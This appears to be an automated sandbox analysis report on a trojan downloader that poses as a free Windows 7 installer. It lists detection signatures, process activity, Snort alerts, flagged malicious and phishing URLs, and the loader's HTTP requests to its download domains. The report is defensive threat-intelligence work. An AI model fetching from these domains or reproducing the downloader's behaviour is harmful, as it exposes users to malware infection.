Edit tour

Windows Analysis Report
81B7FB00321A57D0632B50993D514D34E586E86564C13.exe

Overview

General Information

Sample name:	81B7FB00321A57D0632B50993D514D34E586E86564C13.exe
Analysis ID:	1378303
MD5:	f4d0cda8074bc59ff9f29168cd0866d1
SHA1:	8f6ec4b67cce5801ccc68f75560310ad88957e43
SHA256:	81b7fb00321a57d0632b50993d514d34e586e86564c1311224a97511914a90e3
Tags:	exeRecordBreaker
Infos:

Detection

Score:	42
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Machine Learning detection for dropped file

Machine Learning detection for sample

Performs DNS queries to domains with low reputation

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Creates files inside the system directory

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Classification

Process Tree

System is w10x64

81B7FB00321A57D0632B50993D514D34E586E86564C13.exe (PID: 7092 cmdline: C:\Users\user\Desktop\81B7FB00321A57D0632B50993D514D34E586E86564C13.exe MD5: F4D0CDA8074BC59FF9F29168CD0866D1)

81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp (PID: 7140 cmdline: "C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp" /SL5="$20438,832512,832512,C:\Users\user\Desktop\81B7FB00321A57D0632B50993D514D34E586E86564C13.exe" MD5: B0DF60DD7F65B421D2CB6A89CE87A876)

setup.exe (PID: 4956 cmdline: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe MD5: C4A2A4B22F3D1021ABB5414EECC4E1B5)

cleanup

Snort Signatures

ETPRO MALWARE InnoDownloadPlugin User-Agent Observed - Source IP: 192.168.2.4 - Destination IP: 104.21.38.59

Timestamp:	192.168.2.4104.21.38.5949737802839343 01/21/24-16:57:22.189069
SID:	2839343
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET MALWARE Win32/TrojanDownloader Variant Activity (GET) - Source IP: 192.168.2.4 - Destination IP: 104.21.61.51

Timestamp:	192.168.2.4104.21.61.5149729802047660 01/21/24-16:57:04.707119
SID:	2047660
Source Port:	49729
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://restfork.website/4	Avira URL Cloud: Label: malware
Source: https://digitalpulsedata.com/tos	Avira URL Cloud: Label: malware
Source: http://antsmemory.xyz:80/pe/build.php?pe=1&sub=&source=3954&s1=47959833&title=V2luZG93cyA3IEJsYWNrIE	Avira URL Cloud: Label: phishing
Source: http://restfork.website/	Avira URL Cloud: Label: malware
Source: http://restfork.website/bo.php?p=3954&t=47959833&title=V2luZG93cyA3IEJsYWNrIEVkaXRpb24gRnJlZSBEb3dub	Avira URL Cloud: Label: malware
Source: https://destructionheat.site/tracker/thank_you.php?trk=2682	Avira URL Cloud: Label: malware
Source: http://restfork.website/boa.php	Avira URL Cloud: Label: malware
Source: http://antsmemory.xyz/2	Avira URL Cloud: Label: phishing
Source: https://www.pcmaintainer.com/eula	Avira URL Cloud: Label: malware
Source: http://antsmemory.xyz/pe/build.php?pe=1&sub=&source=3954&s1=47959833&title=V2luZG93cyA3IEJsYWNrIEVka	Avira URL Cloud: Label: phishing
Source: http://antsmemory.xyz/	Avira URL Cloud: Label: phishing
Source: http://restfork.website/l	Avira URL Cloud: Label: malware
Source: http://antsmemory.xyz/n	Avira URL Cloud: Label: phishing
Source: http://antsmemory.xyz/pe/build.php?pe=1&sub=&source=3954&s1=47959833&title=V2luZG93cyA3IEJsYWNrIEVkaXRpb24gRnJlZSBEb3dubG9hZCBGdWxsLmV4ZQ%3D%3D&ti=1705852625	Avira URL Cloud: Label: phishing
Source: http://restfork.website/bo.php?p=3954&t=47959833&title=V2luZG93cyA3IEJsYWNrIEVkaXRpb24gRnJlZSBEb3dubG9hZCBGdWxsLmV4ZQ==&sub=&ps=657855dd328a1	Avira URL Cloud: Label: malware
Source: http://www.pcmaintainer.com/privacy	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: restfork.website	Virustotal: Detection: 9%	Perma Link
Source: https://digitalpulsedata.com/tos	Virustotal: Detection: 8%	Perma Link
Source: http://restfork.website/	Virustotal: Detection: 9%	Perma Link
Source: http://restfork.website/boa.php	Virustotal: Detection: 6%	Perma Link

Multi AV Scanner detection for submitted file

Source: 81B7FB00321A57D0632B50993D514D34E586E86564C13.exe	ReversingLabs: Detection: 36%
Source: 81B7FB00321A57D0632B50993D514D34E586E86564C13.exe	Virustotal: Detection: 47%			Perma Link

Machine Learning detection for dropped file

Source: C:\winrar-x64-623.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 81B7FB00321A57D0632B50993D514D34E586E86564C13.exe

Joe Sandbox ML: detected

Source: 81B7FB00321A57D0632B50993D514D34E586E86564C13.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe

Window detected: &Next >CancelWindows 7 Black Edition Free Download Full.exe Windows 7 Black Edition Free Download Full.exeLicense AgreementPlease review the license terms before installing Windows 7 Black Edition Free Download Full.exe.Press Page Down to see the rest of the agreement.Welcome this is an important message and license agreement so please read all below carefully. Windows 7 Black Edition Free Download Full.exe is financed by advertisement. By clicking Accept you will continue with the installation of Windows 7 Black Edition Free Download Full.exe and the offers listed below.Get an unparalleled gaming and browsing experience on mobile and desktop with OperaGX. Set limits on CPU RAM and Network usage use Discord & Twitch from the sidebar and connect mobile and desktop browsers with the file-sharing Flow feature. By clicking "Accept" I agree to the EULA <https://legal.opera.com/eula/computers/> Privacy Policy <https://legal.opera.com/privacy/> and consent to install.proxy service to protect your privacy. Accept the EULA <https://www.termsfeed.com/live/4bb495ca-d123-4f4d-a727-e9c4d0f3fabe> by pressing "Agree". Make your PC run like its brand new! Install Windows Manager the best utility for windows! Accept the EULA <https://advancedmanager.io/eula> and Privacy Policy <https://advancedmanager.io/privacy-policy> by pressing "Agree". Optimized search feeds. By clicking "Accept" I agree to the EULA <http://www.thedownloadplanet.com/termsofuse> and consent to install.you ready to transform your Windows operating system and experience peak performance like never before? Look no further you're about to unlock the full potential of your PC with our cutting-edge PC Maintainer application.Experience a noticeable performance boost after running our Disk Defragmentation tool ensuring your system runs at its best. The CleanMgr feature identifies and removes unnecessary files helping you regain valuable storage space. Our SFC Scan feature performs a deep analysis of all system files to ensure that even the smallest issues are detected and resolved.We're committed to keeping your PC Maintainer up to date. Enjoy free regular updates with additional features and improvements.By clicking "Accept" you have read the Privacy Policy <https://www.pcmaintainer.com/eula> and hereby agree to the EULA <http://www.pcmaintainer.com/privacy> and to the installation of PC Maintainer.proceeding with the installation you agree to the EULA <https://digitalpulsedata.com/tos> grant Digital Pulse permission to occasionally utilize the available resources of your device and IP address to retrieve public web data from the Internet. Digital Pulse highly regards your trust and prioritizes safeguarding your privacy and personal data. To ensure your safety Digital Pulse comprehends the security implications involved in sharing your IP address and diligently monitors all network traffic. Your IP address will solely be used for authorized business purposes and never for unauthorize

Source: unknown

HTTPS traffic detected: 104.21.38.59:443 -> 192.168.2.4:49734 version: TLS 1.2

Source: 81B7FB00321A57D0632B50993D514D34E586E86564C13.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\Projects\WinRAR\sfx\setup\build\sfxrar64\Release\sfxrar.pdb- source: nsrED96.tmp.2.dr, winrar-x64-623.exe.2.dr
Source:	Binary string: D:\Projects\WinRAR\sfx\setup\build\sfxrar64\Release\sfxrar.pdb source: nsrED96.tmp.2.dr, winrar-x64-623.exe.2.dr

Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe	Code function: 2_2_00405E61 FindFirstFileA,FindClose,	2_2_00405E61
Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe	Code function: 2_2_0040548B CloseHandle,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	2_2_0040548B
Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe	Code function: 2_2_0040263E FindFirstFileA,	2_2_0040263E

Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2047660 ET MALWARE Win32/TrojanDownloader Variant Activity (GET) 192.168.2.4:49729 -> 104.21.61.51:80
Source: Traffic	Snort IDS: 2839343 ETPRO MALWARE InnoDownloadPlugin User-Agent Observed 192.168.2.4:49737 -> 104.21.38.59:80

Performs DNS queries to domains with low reputation

Source:	DNS query: antsmemory.xyz
Source:	DNS query: beadhouse.xyz

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 21 Jan 2024 15:57:08 GMTContent-Type: application/force-downloadContent-Length: 3468151Connection: keep-aliveX-Powered-By: PHP/5.3.28Content-Disposition: attachment; filename="Windows 7 Black Edition Free Download Full.exe_.exe"CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4QRMfGBepZuje39%2FRAuYOso8Q%2FmStwAhCORTKTnGRPho9ZzciaLXmppSKou%2Bh8zmeencWc6wkZd%2BB41q%2F2TOWRfizE9xs0zMBvwPvIxtTr3xhvkj%2BL4n7yl8fuqGCXNR3g%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8490c03e58707bbe-ATLalt-svc: h3=":443"; ma=86400Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 31 b8 84 3a 75 d9 ea 69 75 d9 ea 69 75 d9 ea 69 b6 d6 b5 69 77 d9 ea 69 75 d9 eb 69 ee d9 ea 69 b6 d6 b7 69 64 d9 ea 69 21 fa da 69 7f d9 ea 69 b2 df ec 69 74 d9 ea 69 52 69 63 68 75 d9 ea 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 c6 e3 1a 4b 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 5c 00 00 00 d4 01 00 00 04 00 00 3c 32 00 00 00 10 00 00 00 70 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 a0 03 00 00 04 00 00 00 00 00 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 a4 73 00 00 b4 00 00 00 00 60 03 00 e0 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 00 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 5a 5a 00 00 00 10 00 00 00 5c 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 90 11 00 00 00 70 00 00 00 12 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 af 01 00 00 90 00 00 00 04 00 00 00 72 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1:uiuiuiiwiuiiidi!iiitiRichuiPELK\<2p@s`?p.textZZ\ `.rdatap`

Source: Joe Sandbox View	IP Address: 104.21.23.90 104.21.23.90
Source: Joe Sandbox View	IP Address: 104.21.61.51 104.21.61.51

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /ss.php?a=3954&cc=US&t=1705852624 HTTP/1.1User-Agent: InnoDownloadPlugin/1.5Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /bo.php?p=3954&t=47959833&title=V2luZG93cyA3IEJsYWNrIEVkaXRpb24gRnJlZSBEb3dubG9hZCBGdWxsLmV4ZQ==&sub=&ps=657855dd328a1 HTTP/1.1Connection: Keep-AliveUser-Agent: Inno Setup 6.2.2Host: restfork.website
Source: global traffic	HTTP traffic detected: GET /pe/build.php?pe=1&sub=&source=3954&s1=47959833&title=V2luZG93cyA3IEJsYWNrIEVkaXRpb24gRnJlZSBEb3dubG9hZCBGdWxsLmV4ZQ%3D%3D&ti=1705852625 HTTP/1.1Connection: Keep-AliveUser-Agent: Inno Setup 6.2.2Host: antsmemory.xyz
Source: global traffic	HTTP traffic detected: GET /boa.php HTTP/1.1Connection: Keep-AliveUser-Agent: Inno Setup 6.2.2Host: restfork.website
Source: global traffic	HTTP traffic detected: GET /api_pedl.php?spot=1&a=2682&on=420&o=1662 HTTP/1.1User-Agent: InnoDownloadPlugin/1.5Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1662&a=2682&dn=420&spot=1&t=1705852624 HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api_pedl.php?spot=2&a=2682&on=419&o=1661 HTTP/1.1User-Agent: InnoDownloadPlugin/1.5Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1661&a=2682&dn=419&spot=2&t=1705852624 HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api_pedl.php?spot=3&a=2682&on=244&o=331 HTTP/1.1User-Agent: InnoDownloadPlugin/1.5Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=331&a=2682&dn=244&spot=3&t=1705852624 HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api_pedl.php?spot=4&a=2682&on=415&o=1657 HTTP/1.1User-Agent: InnoDownloadPlugin/1.5Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1657&a=2682&dn=415&spot=4&t=1705852624 HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api_pedl.php?spot=5&a=2682&on=424&o=1664 HTTP/1.1User-Agent: InnoDownloadPlugin/1.5Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1664&a=2682&dn=424&spot=5&t=1705852624 HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api_pedl.php?spot=6&a=2682&on=416&o=1658 HTTP/1.1User-Agent: InnoDownloadPlugin/1.5Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1658&a=2682&dn=416&spot=6&t=1705852624 HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache

Source: unknown

DNS traffic detected: queries for: restfork.website

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 21 Jan 2024 15:57:20 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.5.38CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ZKIIFa%2B9Faq8C3Dr1mw1%2B83%2FPd8lL%2FKUKYHlccT8cx63tFQkbyFEL%2Bk%2BqtaPemYrb%2Fle95TedKZ%2FIiBwy2uK1%2FUKsmdeyOF%2FbBUGIGNVYsp2%2FLARyJWCDnx3NtBy1DR8"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8490c09a893b4576-ATLalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 21 Jan 2024 15:57:20 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.5.38CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=zFE2Bd64GElB8wTUFqLjfBUUlrjChNj87c0XlJVcfwKxC5bpJGd%2F4Jkbf%2BaNSYIp9e1xR0JWOOVEMS8EB2hIRBH9%2FAg1byhxhET65485A5v5gSXbiikUclXZQMH02xWN"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8490c09d4c574576-ATLalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 21 Jan 2024 15:57:21 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.5.38CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=R7uIPxJNH%2FbzilmUH5owLou833FovU2h%2FcVKyjMdIIvYAygCZ2YS75McHHv%2BhCD6GG560fpbcL5FemykHXG3zf32j9aIxWOcYqNa8T7zkZPiXiSZ9vjTn1XDjQmbzA62"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8490c09f7edb4576-ATLalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 21 Jan 2024 15:57:21 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.5.38CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=0HBmRd42Tb72ef%2F7BCUP545VtpNoDyN09qcahOxBbvhnnDNC000K9iFzxJh5%2Fv%2B45QkSA9KKEaNKkyhbvQuxd%2BsB5giaYz3psQ79ecki07pCurhWx%2FyHOhanahXEFpeM"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8490c0a1a8dd4576-ATLalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 21 Jan 2024 15:57:21 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.5.38CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=A1QXy%2BiiS3C2IeqGoY%2BlqgOfRZ9Yh%2BN6TFmp8P49ym2Bam9cj6fIP7l3darXT39MulNnvKajhAPL0rfAE7CwDAFYuKPi18CZA45sR8fAe4PwTQOPFtLf7KFU7COD1iY8"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8490c0a3cb1c4576-ATLalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 21 Jan 2024 15:57:22 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.5.38CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=rcs84IKSsz5EeDeuu48%2BeJwHvjMEXAfvwdHjUKDaFJdSJUNe6NjY%2B0vRndpBEGrW8llOjgarkykKoQpcKYkNbpA5UJuI4vadaOYthihGe1Pj%2Br5vSC8aIIq2Bn0Blj8d"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8490c0a60d3f4576-ATLalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Source: 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000003.1790399126.0000000000A92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://antsmemory.xyz/
Source: 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000002.2966275276.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000003.1790399126.0000000000A92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://antsmemory.xyz/2
Source: 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000002.2966275276.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000003.1790399126.0000000000A92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://antsmemory.xyz/n
Source: 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000002.2967217835.0000000002533000.00000004.00001000.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000003.1790399126.0000000000A92000.00000004.00000020.00020000.00000000.sdmp, is-28V37.tmp.1.dr	String found in binary or memory: http://antsmemory.xyz/pe/build.php?pe=1&sub=&source=3954&s1=47959833&title=V2luZG93cyA3IEJsYWNrIEVka
Source: 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000003.1790399126.0000000000A88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://antsmemory.xyz:80/pe/build.php?pe=1&sub=&source=3954&s1=47959833&title=V2luZG93cyA3IEJsYWNrIE
Source: nsrED96.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=1&a=2682&on=420&o=1662
Source: setup.exe, 00000002.00000002.2966633152.000000000059D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=1&a=2682&on=420&o=1662&
Source: nsrED96.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=2&a=2682&on=419&o=1661
Source: setup.exe, 00000002.00000002.2966633152.000000000059D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=2&a=2682&on=419&o=1661b
Source: nsrED96.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=3&a=2682&on=244&o=331
Source: setup.exe, 00000002.00000002.2966633152.0000000000545000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=3&a=2682&on=244&o=331mp
Source: nsrED96.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=4&a=2682&on=415&o=1657
Source: setup.exe, 00000002.00000002.2968371671.0000000005680000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=4&a=2682&on=415&o=16576
Source: setup.exe, 00000002.00000002.2966633152.000000000059D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=4&a=2682&on=415&o=1657S
Source: nsrED96.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=5&a=2682&on=424&o=1664
Source: setup.exe, 00000002.00000002.2968371671.0000000005680000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=5&a=2682&on=424&o=16647
Source: nsrED96.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=6&a=2682&on=416&o=1658
Source: setup.exe, 00000002.00000002.2966633152.0000000000545000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=6&a=2682&on=416&o=1658682&dn=244&spot=3&t=1705852624
Source: setup.exe, 00000002.00000002.2968371671.0000000005680000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=6&a=2682&on=416&o=16587
Source: setup.exe, 00000002.00000002.2968371671.0000000005680000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=6&a=2682&on=416&o=1658g
Source: setup.exe, 00000002.00000002.2968371671.0000000005680000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=6&a=2682&on=416&o=1658l
Source: setup.exe, 00000002.00000002.2968371671.0000000005680000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=6&a=2682&on=416&o=1658q
Source: setup.exe, 00000002.00000002.2968371671.0000000005680000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=6&a=2682&on=416&o=1658s
Source: setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1657&a=2682&dn=415&spot=4&t=17
Source: setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1658&a=2682&dn=416&spot=6&t=17
Source: setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1661&a=2682&dn=419&spot=2&t=17
Source: setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1662&a=2682&dn=420&spot=1&t=17
